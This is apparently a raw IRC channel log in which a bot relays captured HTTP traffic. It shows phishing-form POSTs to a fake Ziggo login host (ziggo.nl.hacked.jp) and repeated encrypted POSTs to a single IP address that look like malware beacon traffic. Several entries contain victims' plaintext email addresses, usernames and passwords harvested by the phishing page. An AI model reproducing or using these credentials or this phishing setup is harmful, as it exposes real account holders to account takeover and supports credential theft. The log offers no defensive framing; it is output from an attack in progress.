  1887. [04:04] <HTTP> CVK3yHVHUqbW+s+JwoIL2dJR99osSq7wnMvLdQLhQWqimY1Tw7hO4ozV+i32SeZYxQpTEzxPxcczfRvZhB4rPtYUoD6F9hiHUGGnx97f8FbVVJiXwbzhSoGs1xZt/6NIE2dqNhiW9/9/C9Oi4PW4C1xN2zl8uQ4AG6V7erPZqfmzb+zDKnQaFfxYVoVR2DeXcvFrv5NNj8Cb9L3oz2C9phnoL5QRHWsg2VIy0Slm5yq4xGkIYC+rHS0szxtSlsNvGd2D4R+vxH9meqx9XN+O9RJ5vgl6Xo2MjQ4VkdSxi4LYoKcc629U6Sio4HYSFml0yYQiw303Bhh+DORWJvYPOkFF8gouuM7wyLmgqFCY
  1888. [04:05] <HTTP> Socket initiated: 84.106.159.7
  1889. [04:05] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1890. [04:05] <HTTP> Host: ziggo.nl.hacked.jp
  1891. [04:05] <HTTP> Connection: keep-alive
  1892. [04:05] <HTTP> Content-Length: 138
  1893. [04:05] <HTTP> Cache-Control: max-age=0
  1894. [04:06] <HTTP> Origin: http://219.93.200.189
  1895. [04:06] <HTTP> Upgrade-Insecure-Requests: 1
  1896. [04:06] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1897. [04:06] <HTTP> Content-Type: application/x-www-form-urlencoded
  1898. [04:06] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1899. [04:06] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1900. [04:06] <HTTP> Accept-Encoding: gzip, deflate
  1901. [04:06] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1902. [04:06] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=ggpayregal%40ziggo.nl&userId=ggpayregal%40ziggo.nl&password=Paramaribi1928&button=
  1903. [04:06] <HTTP> Socket initiated: 93.41.104.77
  1904. [04:06] <HTTP> POST / HTTP/1.1
  1905. [04:06] <HTTP> Content-Type: application/x-www-form-urlencoded
  1906. [04:06] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1907. [04:06] <HTTP> Host: 172.86.120.218
  1908. [04:06] <HTTP> Content-Length: 384
  1909. [04:06] <HTTP> Cache-Control: no-cache
  1910. [04:06] <HTTP> BQ7jy3MSUnuG+EilRuoqj0SP0pQuraYfxQiUUsfOGyX9GygxgY8hP7Fob/N0KMghrBumtqFxY3Xzz3GhLV+LgtZIYDqGdamtHq78Ibp6EQnL8dR2xBKjKWpLSUyGWh2BJmKmQLgcmsbfn2kjLCyu+zsIe3ZHabIJ8lZXIUJjTGDWypYPGqps4qxdrASUrpuChqbiHFUeHpR9tkhEhKK2WOvvlAgUupcigXZrcFBLZMBmqF+CRkrxBoHAfQdsdLnTivLNCwBHBVJSoSdTmCQ/tQ1UyJlgMFPEi/atUo12I6qCp3mG69uijmrK0k4La9DfYiri6L8M3e+Wt54RO5vaRdI9WdfoXMLgN1TVJGIJMH5yUdKE667HMHZq5q9Ntl8=
  1911. [04:08] <HTTP> Socket initiated: 93.41.104.77
  1912. [04:08] <HTTP> POST / HTTP/1.1
  1913. [04:08] <HTTP> Content-Type: application/x-www-form-urlencoded
  1914. [04:08] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1915. [04:08] <HTTP> Host: 172.86.120.218
  1916. [04:08] <HTTP> Content-Length: 424
  1917. [04:08] <HTTP> Cache-Control: no-cache
  1918. [04:08] <HTTP> B167yHVAUmcLrX+0+RzHVjAg35gQevBMCK7mVTJ8M1R3DdqPxpcAJvWb2v6kGa71BUy9CiJDPbCuA3b4pARZoaBZRg+EbfbMYNOWTUcrNIuXysebqZyQIWl3tibpGoOuSWYaLUSREGjFdxMmX3mjmSVCvg7jP8C8DUZ9ibKGO68B5rAvO5R8NO6oLEEGgS9Ai5Msjf5gewcP9J+ZmyJIaIUdskXbw5P/iaZJ4SlUnc8MIqehNrc87Q2FJwHb2ZkrlAl8byt++dMSh0LuV92iZ7RK6Rv8Mp0WTxvHVqweND17FFE6xlZ5TYYc5/sHfdfhAFn8QMGW0tw65AvnjiRIOKZUKOYQq6be8Y/nV6ulyAW0cjnlQgm9WFaNKayc2q59y9rDQbWiowQ5XQ
  1919. [04:08] <HTTP> KJhCxu9sYkPEH0I4KbZkOnbgM=
  1920. [04:10] <HTTP> Socket initiated: 93.41.104.77
  1921. [04:10] <HTTP> POST / HTTP/1.1
  1922. [04:10] <HTTP> Content-Type: application/x-www-form-urlencoded
  1923. [04:10] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1924. [04:10] <HTTP> Host: 172.86.120.218
  1925. [04:10] <HTTP> Content-Length: 392
  1926. [04:10] <HTTP> Cache-Control: no-cache
  1927. [04:10] <HTTP> Bgq3zSUTUz81oTjA0mGl2E1Od1RqubnqyD087UnDpe4THNQbJ6a7plqZa0WAJ/A+fxpJbY+SJXf87L6g/PH/zSMgeYAzH5AndJp3Unv3yroSrZnARnHwdzcnoCWKcwuvAtcpeHGCg+As2jy0DKtng1pbOIhAfk01qMd2Pxb8Mzvyb3/3CeH0cMLK2LtuZmFHCUhYRTS+yJl4obkXwrX73fjHxACygWs9nfmjLG0Eh5qCPFwNO6nPJmzSYA8FaqVaLFV1+OmCrl4s1UUjrgPUSYbOZ9o3kCop5q8HwJ5wIkRKYZzCDrpcoo9B6STK+vzn5dsVVr91pp8DFNzEoZ0Le4Jn4nzXpflILiracxSPZkX0CM1hpqHT1ynYfzFJwwknGuExlA==
  1928. [04:12] <HTTP> Socket initiated: 93.41.104.77
  1929. [04:12] <HTTP> POST / HTTP/1.1
  1930. [04:12] <HTTP> Content-Type: application/x-www-form-urlencoded
  1931. [04:12] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1932. [04:12] <HTTP> Host: 172.86.120.218
  1933. [04:12] <HTTP> Content-Length: 388
  1934. [04:12] <HTTP> Cache-Control: no-cache
  1935. [04:12] <HTTP> AwjhxCFDVDKr5wpt4PEiBbdfqgcxEO+lvPX1aZINOj2vgWbkRhK+V3tQG2SfDfY1NMztP5keGQ71TbxqByVJarqAPnyydBez+prnpfz1yfg7GILB2f65iTDzl9Nvoj5HWr29fSFFPQpsdntzFWGFIC+XY5Tm0NIzs9sPpVy9snJTRWg9UwDWFGQ0TfVCyjQ+G82IwEDLATH5laaDG1LLiaaEqzhOpRYyQWwVtDDC8RNPevXLSz/4XwWbeKETV9qMdWMpXl30mkbpd3BUbpWM/U/jfLAm8GXK+aR4aWERPRcAKuqp9HU5gL+MsrfBCzGvrZm/xOhP9QifQEmicvqVJITtvazpkwleciVD0UFLjQv5zsJ6LxQov1e97n4NJ8Kd7pI=
  1936. [04:14] <HTTP> Socket initiated: 93.41.104.77
  1937. [04:14] <HTTP> POST / HTTP/1.1
  1938. [04:14] <HTTP> Content-Type: application/x-www-form-urlencoded
  1939. [04:14] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1940. [04:14] <HTTP> Host: 172.86.120.218
  1941. [04:14] <HTTP> Content-Length: 360
  1942. [04:14] <HTTP> Cache-Control: no-cache
  1943. [04:14] <HTTP> AVO1y3MTWFwHe60vnpSzaODgqCvO1/bbNqmMfBW/RJzkJg+Zp19V8ht4kySBlWBaWiBb231tdeaOgbKHXr4Md//zOkeKMXK6MfoeQ02J7V3VnHscSuUt36fUd5uVpG2gq8FnopSBOvAevxOIpebsqcd+rJlOMSzDkvwGP3x21ZtBppLswIxUsDANT5/FB8ATLAIa2sFsP7pzP19eWwTP9fhg2FPPMTypVNjCJJ2pO1dS+OB4axpDnan20zNj8zpqND1u/og6NAkjT2TOs6G4PqgPP4K3Rhmj2oNjwJ+gKbvIfruI3pHgepS+iss7q8nZNdPKAu2B5xPxL6LuwO0DOsjdkL8aGZW2elaAQgqN
  1944. [04:16] <HTTP> Socket initiated: 93.41.104.77
  1945. [04:16] <HTTP> POST / HTTP/1.1
  1946. [04:16] <HTTP> Content-Type: application/x-www-form-urlencoded
  1947. [04:16] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1948. [04:16] <HTTP> Host: 172.86.120.218
  1949. [04:16] <HTTP> Content-Length: 432
  1950. [04:16] <HTTP> Cache-Control: no-cache
  1951. [04:16] <HTTP> UV/hzHYXAs2XSiZBC2uPcx4FKEPlaFsCOa/Go6qNDqr5ntBye9HqRtc+18QiyDATDSSfZFR7Rx7Vp0D+qPX8kUB0PriUqIBHZZ/nABoLzC3aI6MPuQ1DkQl7T2mijSGIViUqhdjM1obXcu++SWSqnwmJPy+wmr7/I6r2zXT9ZwCsJG6Wt5h9nmYNzdzOsMlHe2gQPqqr+rxeCbZc2Dxiy+CfRiGwnoins4erhuhO1k2R1RcyNzRBTbMrtV5R+tgpJdkquSlIcGzi1LnhITfs+3uPXiUVjoxyXEFZ+q25vtct6c5v+1Ke8XhJYDnB/Ag2lcOaKsnsiXhb5Yt39FlNfrMxnCVrU9+zdDH322mokLKGWQKNgTJeOkuz3dQH4O2HEPtkANZ2abON58
  1952. [04:16] <HTTP> eIYc0q+tvYEEB3F2o9tmpomM0q8TwVkk0A
  1953. [04:18] <HTTP> Socket initiated: 93.41.104.77
  1954. [04:18] <HTTP> POST / HTTP/1.1
  1955. [04:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  1956. [04:18] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1957. [04:18] <HTTP> Host: 172.86.120.218
  1958. [04:18] <HTTP> Content-Length: 360
  1959. [04:18] <HTTP> Cache-Control: no-cache
  1960. [04:18] <HTTP> AFzgyX0eWKMV1ciNfvH5DYqT+yDgg5MNxVXbEXr8Exj6M0XBdnJn/5aiZ+nsHIgG+yLor5CvBZG+oOXixr/BI0MkorYP5gtQNUrwB6Whv3JrgG+O/i3wIr5YpQg2+FI83hgo12BsPQvbfu3tl5PwOIfS0df4k9KMCSe1ylcelAxladHcrAEp6H0ztE7lE4FYgZUY4P9LlMJ/G+tXWc8ljIz3WPBUpmpx5k6ap4S70MdtOXcSctnTYtk/6rLLRsHSea5SU5vm5h0123bvhsmtNU9PBC+eNIduRhmIm5ozDnOjBJMF9d6n1oaEAo6Z62Gi1lra3mEPjBpmqqahp0NpdHBZDZxPKiy2fOndYgUH
  1961. [04:20] <HTTP> Socket initiated: 93.41.104.77
  1962. [04:20] <HTTP> POST / HTTP/1.1
  1963. [04:20] <HTTP> Content-Type: application/x-www-form-urlencoded
  1964. [04:20] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1965. [04:20] <HTTP> Host: 172.86.120.218
  1966. [04:20] <HTTP> Content-Length: 408
  1967. [04:20] <HTTP> Cache-Control: no-cache
  1968. [04:20] <HTTP> A1LgyHxHWNx2iIvvU179XNTaTpyc8KnXADLpv2m3/F+tYW1heRotN1P2pXrQpU+r9qg2j+wTW5gVGJZR3DspPYJ/1Frp310CR6slUxic6YE3gEfzQbq3vesDNnp5yP9yQCTsL/g5VvFpxSjec7U8eHGRGTk+V3tcWfvm+Oe+lah/i7CS4SyKuvr8lAhl1UQQ1d+7aLU3VLp4WLmT78BS3JgBHNQbu8UsDg0oGsewVcZB0zaKICzCwwpLhDdwGuAA2f+1f8z0tg3Y5jQDcSwhBbJqMWofJ/8ATY+C1z7sFdQCXYKziVrQRYRTULYEKZ3Kn0mI9U5wVYEpuxZiUUUeROZc9sElYzjCqN0Tpb4o2rtyeVJKk2wNyP9RsoQYG7/+O9J3PCXxuiXKVSqO7MMAIB6Q
  1969. [04:22] <HTTP> Socket initiated: 93.41.104.77
  1970. [04:23] <HTTP> POST / HTTP/1.1
  1971. [04:23] <HTTP> Content-Type: application/x-www-form-urlencoded
  1972. [04:23] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1973. [04:23] <HTTP> Host: 172.86.120.218
  1974. [04:23] <HTTP> Content-Length: 368
  1975. [04:23] <HTTP> Cache-Control: no-cache
  1976. [04:23] <HTTP> CQq1znNCBa+8tZHvqJKMSu3QuEsqjSTnT+Fbr2obU3PkPQQiHw+gt4LikiXWaO78D+qVblfH/g9Q3sDyvclSSkg0YkT2IbsSlDvoZwhAkNcfWF7zu/54n39yTIa50iSRRTBtjgUuiy9lims/HXpw5hg1DFP8URZLHFKwwUv4foa901zBfayZbSVulngCGd4msKIuXOAjCMVv66NQVWHeFVCvsQ1JQkdVvZXvkKgJmte4Qtb27QQKyuURw7/4DetTz10VtMHFegHOdg1VdLUi01oeoH7JItHkaObGXMcJqKQkK03vCjPAICHVFlkK+Bev3F7YoMTNLZRXyQBjuvUYcN0e0tw4zUKaELsZGe/5oyhttAw=
  1977. [04:24] <HTTP> Socket initiated: 82.72.5.15
  1978. [04:24] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  1979. [04:24] <HTTP> Host: ziggo.nl.hacked.jp
  1980. [04:24] <HTTP> Connection: keep-alive
  1981. [04:24] <HTTP> Content-Length: 140
  1982. [04:24] <HTTP> Cache-Control: max-age=0
  1983. [04:24] <HTTP> Origin: http://219.93.200.189
  1984. [04:24] <HTTP> Upgrade-Insecure-Requests: 1
  1985. [04:24] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  1986. [04:24] <HTTP> Content-Type: application/x-www-form-urlencoded
  1987. [04:24] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  1988. [04:24] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  1989. [04:24] <HTTP> Accept-Encoding: gzip, deflate
  1990. [04:24] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  1991. [04:24] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=willymooibroek%40ziggo.nl&userId=willymooibroek%40ziggo.nl&password=Wm466712&button=
  1992. [04:24] <HTTP> Socket initiated: 93.41.104.77
  1993. [04:25] <HTTP> POST / HTTP/1.1
  1994. [04:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  1995. [04:25] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  1996. [04:25] <HTTP> Host: 172.86.120.218
  1997. [04:25] <HTTP> Content-Length: 392
  1998. [04:25] <HTTP> Cache-Control: no-cache
  1999. [04:25] <HTTP> AwnmxX1DB91axXJkRPr8DSekZJtgu7ZGpHw9dCQk5KPOb9UINcA9eGJOJLiH8sYJXK8z3IyljLqnDlp3I5hBInclMX9DGnLpJAzoWS0wYQopYwlOGb5VuAaYEItKi8ibuLWlmOeiTWURvWp4yD7XXoyMGb6CU2sORSEduYZIz6kyBOEYlmt/sJHbP8JiO4fRj9n848ON6cdGLlraV9EpS0jjZeTIikFdoYijaeivnwnS7NvYYT18P3ijfGz0WT55rN3xGhXmfOzv39+0UHNLFfR5ILdtJ+cPZ6YkqF3r8POsN24Ja8hvndPfU1NemF7eUSHQcWdRSjwjiMfOnw/CUZNzf/298Tpv5oB7pk4khgGzMiAsj33in5U0MmGdHe6sEUZErMno
  2000. [04:25] <HTTP> Socket initiated: 82.72.5.15
  2001. [04:25] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2002. [04:25] <HTTP> Host: ziggo.nl.hacked.jp
  2003. [04:25] <HTTP> Connection: keep-alive
  2004. [04:25] <HTTP> Content-Length: 110
  2005. [04:25] <HTTP> Cache-Control: max-age=0
  2006. [04:25] <HTTP> Origin: http://219.93.200.189
  2007. [04:25] <HTTP> Upgrade-Insecure-Requests: 1
  2008. [04:25] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  2009. [04:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  2010. [04:25] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2011. [04:25] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2012. [04:25] <HTTP> Accept-Encoding: gzip, deflate
  2013. [04:25] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2014. [04:25] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=beauty1967&userId=beauty1967&password=wm466712&button=
  2015. [04:26] <HTTP> Socket initiated: 93.41.104.77
  2016. [04:27] <HTTP> POST / HTTP/1.1
  2017. [04:27] <HTTP> Content-Type: application/x-www-form-urlencoded
  2018. [04:27] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2019. [04:27] <HTTP> Host: 172.86.120.218
  2020. [04:27] <HTTP> Content-Length: 392
  2021. [04:27] <HTTP> Cache-Control: no-cache
  2022. [04:27] <HTTP> BF23mScfWTPkj3QnfHVoZ6x6oKcUmB+NUJBmBuBHnQQIw3XiEKE2IohR5EaBLNIVBBSkSLL1ibJcaS1pQYWBWSWQCJLAz3M0W//oEXGd5JPYBmKFOT7iTtHaPq/rSYoGcljZT3h7Bl0fzxML+eiDnxUA0tJ7rVgHZC7evezotFB9wj6MPJ8YBcTHs1Y9SMY8eST4xELUm8BovctEt/OL1/DfU+JBLS2syxYgX53YFXwpA5PcQtuRu/EtPh60GqecuVCc9FQ3xWLCDa3jDCjeYBW+bhTP9T9VwrIM26JvbcbGeaC/YDKpqTp8tFclKI2hV2GI4ribjtEdGYsfGOa+v/LHRThGCyHSdOxNddzfD3nCO+6dE/gerWGbh9fOr1WI9Xx/M7ch
  2023. [04:28] <HTTP> Socket initiated: 152.246.65.84
  2024. [04:28] <HTTP> Socket initiated: 152.246.65.84
  2025. [04:28] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2026. [04:28] <HTTP> Host: ziggo.nl.hacked.jp
  2027. [04:28] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2028. [04:28] <HTTP> Upgrade-Insecure-Requests: 1
  2029. [04:28] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2030. [04:28] <HTTP> Content-Type: application/x-www-form-urlencoded
  2031. [04:28] <HTTP> Content-Length: 106
  2032. [04:28] <HTTP> Accept-Language: nl-nl
  2033. [04:28] <HTTP> Origin: http://219.93.200.189
  2034. [04:28] <HTTP> Accept-Encoding: gzip, deflate
  2035. [04:28] <HTTP> Connection: keep-alive
  2036. [04:28] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  2037. [04:28] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=advdsluis&userId=advdsluis&password=Ad1956&button=
  2038. [04:28] <HTTP> Socket initiated: 93.41.104.77
  2039. [04:29] <HTTP> POST / HTTP/1.1
  2040. [04:29] <HTTP> Content-Type: application/x-www-form-urlencoded
  2041. [04:29] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2042. [04:29] <HTTP> Host: 172.86.120.218
  2043. [04:29] <HTTP> Content-Length: 412
  2044. [04:29] <HTTP> Cache-Control: no-cache
  2045. [04:29] <HTTP> VA2wznZCBXNHdFBbnDf9dBWM1NQk82X5f8KtwUfv7RRMQboiV2weRZtR6pKUL2t8pKAPAxN+L83R1jljl+TMi7ZdDpWJ8/S1JZke6J9llLi5chN7t1IPv1HeXsAGaFS0ulS67AS2jQsPe7tG7bgnRv+a9rZqOhWdDthZn0ah9VxWCJVBObiozGFcvwIWqpgEn7Fkthz1t+2pfcT4zPCihnm740mo4W0oBRntpVu61+644X4NmWDb/RCn6aCx9JlgMkyClOswBUn7If77J4FhyuCsE3shvn+l7LiMHjGAXRNi1O8HkeCPB9tdXu8unOAkdMSh637+6uqSjwEnZFKIbBDfBmW4T4b8qSszbmAofYsswgG5i7QRVz6rbpJcaFqQh2A9ZP+xv50u87
  2046. [04:29] <HTTP> 3gVMD/hOVcmQ==
  2047. [04:31] <HTTP> Socket initiated: 93.41.104.77
  2048. [04:31] <HTTP> POST / HTTP/1.1
  2049. [04:31] <HTTP> Content-Type: application/x-www-form-urlencoded
  2050. [04:31] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2051. [04:31] <HTTP> Host: 172.86.120.218
  2052. [04:31] <HTTP> Content-Length: 436
  2053. [04:31] <HTTP> Cache-Control: no-cache
  2054. [04:31] <HTTP> VQqxzCZAWD2UE1Rz+ersD4jDJL82jAT6fOaU0etynSr4BmMIxRMWsZoU8P//v0mk96CdVNv3zGNe7w2JVbAFGDjM/AHlNZhSxU6QlIWRFB8QrzU3QDAw6vnKorCuf5Yz7gVzXtePblkSSQhg8CA8P/DxJH+f/RyCGMKqk0qHgEimFFfhPKGTx7s4CBWNhP5iPxqVnVCdXknir++OqlTRy/2W0Xq4a1sQsjEZ7KurF7EG61fNkoFr3lA4wXP9M7p2UtEWQFNeiijBM97BvFgXUfb9nAXHjApKiAr4Ya2m6tAGmGQ32xJmMOPDI1MPJsfKWdqAitXA+cgFfwZxosDCcpSgFXafn4d304ArbYqFRmACeILkJ2K2rWkEU617ohTLpX2bqDmNMg54Kv
  2055. [04:31] <HTTP> JDcskXxEody/IutxeEruVRAn0Z9FUZG5/Nww==
  2056. [04:33] <HTTP> Socket initiated: 93.41.104.77
  2057. [04:33] <HTTP> POST / HTTP/1.1
  2058. [04:33] <HTTP> Content-Type: application/x-www-form-urlencoded
  2059. [04:33] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2060. [04:33] <HTTP> Host: 172.86.120.218
  2061. [04:33] <HTTP> Content-Length: 436
  2062. [04:33] <HTTP> Cache-Control: no-cache
  2063. [04:33] <HTTP> UQ7nn3EUUA6fbbdqzJujrXEMeA17rppG08KA7ZYW/cSHYfKcOZtvlgToKW7GKlBVmg3qmrhYX+Nav0WT5v07hAfzbqfHFSYp41ygkdMmsL659+Hlxln+O8rNctJyqIRYYQKupC+iEBHbUgTzBoKoG7PjFKxKgtImgKzygBVX9gXjbKD5Ai5EZLEHOz0UQqX5V3JV+momwLRnoEj6ab9QvqRt5jRQ2cKALWnVtlmqprZQqARGYJWtDWE6rwrhras2RL+BRw4V4iyKSsFKd6fclm+CtjTdf4gzFsRfr0T/bPFiTTWhMUZQGX9DQ74dtu/iakclMPQobsDLQC6IecWAfM/Q6QTLvKYgf+p0HNcHer9k9jyORjtN0610Ekb/5Y8Fw+3IDJ8mFpBhmM
  2064. [04:33] <HTTP> 0xpWVfEmSpcbbyxwcrlZjCQzdehS1UEb0j4Q==
  2065. [04:35] <HTTP> Socket initiated: 93.41.104.77
  2066. [04:35] <HTTP> POST / HTTP/1.1
  2067. [04:35] <HTTP> Content-Type: application/x-www-form-urlencoded
  2068. [04:35] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2069. [04:35] <HTTP> Host: 172.86.120.218
  2070. [04:35] <HTTP> Content-Length: 388
  2071. [04:35] <HTTP> Cache-Control: no-cache
  2072. [04:35] <HTTP> CV/jzXcWAmpmacxe3kYLtWU84WD/5iEH5OSfWW9ICLnj77qtLVjDpk+QcHrrlSmwEssb3u2jgP5euBDS7f8S6FYE94JePKjJ7x6abnN9RcgA9o7L67q7VW8hN6QvTwnfBViUNyunZL8XCH7IovtvoeeCRHjK60vHM6NTrXD/dT0yf0ZpxYw/wgpft/XIXNr/M4l55sOQ3z26SCi3qDodN39gxIRaMMRSySz0Xtn1lXjUVWaQfV/mvp4GvlvdPl/M3JFORjUxVpTvXhWAcmfZRiiUG2v/s/rwY77zcemh6R35b43Y8ZXAua8EJCol3bhWTsPaC2OTed37EzYPACjXCU1+jjbFVx4zAYOxEjfkdxQjiPyguQOvsBp+tg+xg1yEJPw=
  2073. [04:37] <HTTP> Socket initiated: 93.41.104.77
  2074. [04:37] <HTTP> POST / HTTP/1.1
  2075. [04:37] <HTTP> Content-Type: application/x-www-form-urlencoded
  2076. [04:37] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2077. [04:37] <HTTP> Host: 172.86.120.218
  2078. [04:37] <HTTP> Content-Length: 376
  2079. [04:37] <HTTP> Cache-Control: no-cache
  2080. [04:37] <HTTP> UQ+0nXIfWFRouj9NLNkvkY1IYtXUsNKcDOvBbD3SYZNlmxfrOwqCaULs5SVYQ9QRV6AT7hgCEro2Sikd6d0Hbf5oHZ+mtXuHuYlyEtCAPER1tAVhcWLtzlbzrpHBlJsta4EZ/bny7z67Ama3GsryEDRU7SfgRvvbJ9coT4yO42oolnWNbzPLtWIxnGLxEC3GnsygGvLvtU6cVciaJOcj1k02FDQGjuiqw9zcT6hfTckl+obNhnQYZZIEeXiKNt/4N3+FzDkHkcInk/ZaX2k7TsoJGn7qJsgCXFIXar73ZIIXKX6JfIg5OC6kdJ8yo43P+SaWUAr87GYNx3W3kX1LYNzu6BK2cYYVSx+2ioGgrq99hWGtCVq1cFU=
  2081. [04:39] <HTTP> Socket initiated: 93.41.104.77
  2082. [04:39] <HTTP> POST / HTTP/1.1
  2083. [04:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  2084. [04:39] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2085. [04:39] <HTTP> Host: 172.86.120.218
  2086. [04:39] <HTTP> Content-Length: 440
  2087. [04:39] <HTTP> Cache-Control: no-cache
  2088. [04:39] <HTTP> AFrgznVDAiTln7tA0joka1aj1qS9DJBv6Sk98J+P7npSfoQPoBVCdoXTaZ6TT9At3yFT1qw7XpUatITS0V43rMTTfcwtIHHvEcDMxTIjM6W5q226HsMEZWiOu54hq61YQujX1+VrtOl90ooWzcF3fyh8iJdJnMuDYklQz7G/v7VVBacI8A/9xRvUPy0vwdeYVIPjPMHPm4UzbrhZLx9XVjchFXUDefoxMRpii2qkMIhSyV151YN4K0EVcf02Eg/YEjqZQm3AqlidN7YDhf9WXq1UoKawgYtmrHz0vzmX4A7Ds3KcXdrTz6i6XFmf6MOSycHli0jFiCOGFc7RqBdT/ZrmcN9XtM8sDaLYjhICQe7xY7fjI6qoL3g2RjaWGLJVp9kz/5FQmBrPTE
  2089. [04:39] <HTTP> A+uGR/1XVrCGcZ1/URVzW8gCXhRPxaXshsoUZuvjc2
  2090. 03[04:39] * independent (independen@Owner.home-unix.com) has joined ##ss
  2091. [04:41] <HTTP> Socket initiated: 93.41.104.77
  2092. [04:41] <HTTP> POST / HTTP/1.1
  2093. [04:41] <HTTP> Content-Type: application/x-www-form-urlencoded
  2094. [04:41] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2095. [04:41] <HTTP> Host: 172.86.120.218
  2096. [04:41] <HTTP> Content-Length: 408
  2097. [04:41] <HTTP> Cache-Control: no-cache
  2098. [04:41] <HTTP> B1uyyScTVb8lCytim+KZLQ/OidhHQatgF6WvuLlIzwkS9OmLKWsBn5LEPJRjZZzBtEZaKwWyfkf5h9S+wPmQ2ujTFzlMOyZaZH7ge0NMHN6PemjC6eX7a646+LTQBmHXErp8j/4zD0nv1wfZoTHoMjwPhcaXP5iGrc4xnCR/NO0wyBKXqWgDC+JInCRonj6ZcR3ZFqLgZnrIifNsZDgbVcB9S16zefce7kPQLKE1g4o1laPA4beAZB8+WvJ8H6QHm2VYA6nXVBP7e61YEBDPKYx6r3INsDmb45e5xGEzSJps4u7nhBWlAl+sU8jMKB4DIegECFVLSOrlfd39s1O8+MAbJpTr8NympHEC65wbUSLt87QkcjCrDP8u/cWMS5tVj5OgT744tYuVvXYw1L+RiA==
  2099. [04:43] <HTTP> Socket initiated: 93.41.104.77
  2100. [04:43] <HTTP> POST / HTTP/1.1
  2101. [04:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  2102. [04:43] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2103. [04:43] <HTTP> Host: 172.86.120.218
  2104. [04:43] <HTTP> Content-Length: 420
  2105. [04:43] <HTTP> Cache-Control: no-cache
